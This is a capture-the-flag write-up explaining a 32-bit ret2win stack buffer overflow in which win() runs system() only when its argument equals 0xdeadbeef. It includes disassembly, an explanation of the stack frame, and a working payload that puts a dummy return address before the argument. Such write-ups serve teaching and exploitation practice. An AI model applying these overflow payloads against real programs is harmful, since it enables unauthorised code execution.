This challenge is similar to the last one, with a minor difference. In this challenge, we'll explore an Unnatural (Artificial) Jump and its implications for our payload. This write-up will match the one from the last challenge to show how similar they are.
Again, we always start with checksec
.
No canary, no PIE. We're good for standard buffer overflows.
If we check the disassembly for main
, we see this method takes input from the user:
0x080491f6 <+39>: push 0x40 0x080491f8 <+41>: lea eax,[ebp-0x30] 0x080491fb <+44>: push eax 0x080491fc <+45>: push 0x0 0x080491fe <+47>: call 0x8049040 <read@plt>
This is equivalent to:
read(0, ebp-0x30, 0x40);
At this point, we should be confident in the buffer overflow. We plan to jump to win()
found inside info functions
.
There's nothing new about our payload:
payload = b'A' * 0x34 payload += p32(0x08049186)
When we run this, we don't get much of a response.
We're confident in our padding and return address. Let's check on win()
to see what's happening.
gef➤ disas win Dump of assembler code for function win: 0x08049186 <+0>: push ebp 0x08049187 <+1>: mov ebp,esp 0x08049189 <+3>: push ebx 0x0804918a <+4>: sub esp,0x4 0x0804918d <+7>: call 0x804921c <__x86.get_pc_thunk.ax> 0x08049192 <+12>: add eax,0x2e62 0x08049197 <+17>: cmp DWORD PTR [ebp+0x8],0xdeadbeef 0x0804919e <+24>: je 0x80491b6 <win+48> 0x080491a0 <+26>: sub esp,0xc 0x080491a3 <+29>: lea edx,[eax-0x1fec] 0x080491a9 <+35>: push edx 0x080491aa <+36>: mov ebx,eax 0x080491ac <+38>: call 0x8049050 <puts@plt> 0x080491b1 <+43>: add esp,0x10 0x080491b4 <+46>: jmp 0x80491ca <win+68> 0x080491b6 <+48>: sub esp,0xc 0x080491b9 <+51>: lea edx,[eax-0x1fe2] 0x080491bf <+57>: push edx 0x080491c0 <+58>: mov ebx,eax 0x080491c2 <+60>: call 0x8049060 <system@plt> 0x080491c7 <+65>: add esp,0x10 0x080491ca <+68>: mov ebx,DWORD PTR [ebp-0x4] 0x080491cd <+71>: leave 0x080491ce <+72>: ret End of assembler dump.
We can get a better view of this in a program like Radare2:
This shows win()
has some sort of conditional! We see ebp+0x8
is being compared to 0xdeadbeef
. It then does je
to system@plt
and jne
to puts@plt
.
From our past experience, we confidently guess we need to pass 0xdeadbeef
somehow. We now need to understand how our stack frame looks between function calls.
This diagram assumes that we call win()
naturally via a call win
statement.
In the natural case, we see the following happen:
0xdeadbeef
is pushed onto the stack. That is written in Yellow in the image.call win
is executed. This does two vital things:
win()
is finished executing.call
.win()
, the prologue of that function pushes ebp
, then moves esp
to make space for that method's stack frame.Therefore, in the diagram, our parameter ends at ebp+0x8
. This does not change across binaries; that is where the first parameter will be!
ebp+0xc
, and so on.Now that we understand how parameters are passed naturally, let's try it.
We first attempt to format the payload the same as last challenge. That would look like:
payload = b'A' * 52 payload += p32(0x08049186) payload += p32(0xdeadbeef)
If we run this, we still see You lose!. Why? We have to understand our current stack frame.
It's important to note we arrived to win
artificially, meaning we didn't arrive via a call
. In this case, we overwrote a return pointer to arrive at this function. Considering the crucial steps of calling a function:
call
)By us not using call
to arrive at win
, we miss Step 2! This means our argument is not where the interpreter expects it to be. This is why we still get You lose; our value was not loaded correctly.
To fix this, we need to make space for the return pointer. That can be any value, but I'll use 0x0 in this case. This value must go between the return address and the argument to ensure we're in the correct order.
payload = b'A' * 52 payload += p32(0x08049186) payload += p32(0x0) payload += p32(0xdeadbeef)
Running this successfully gets a flag!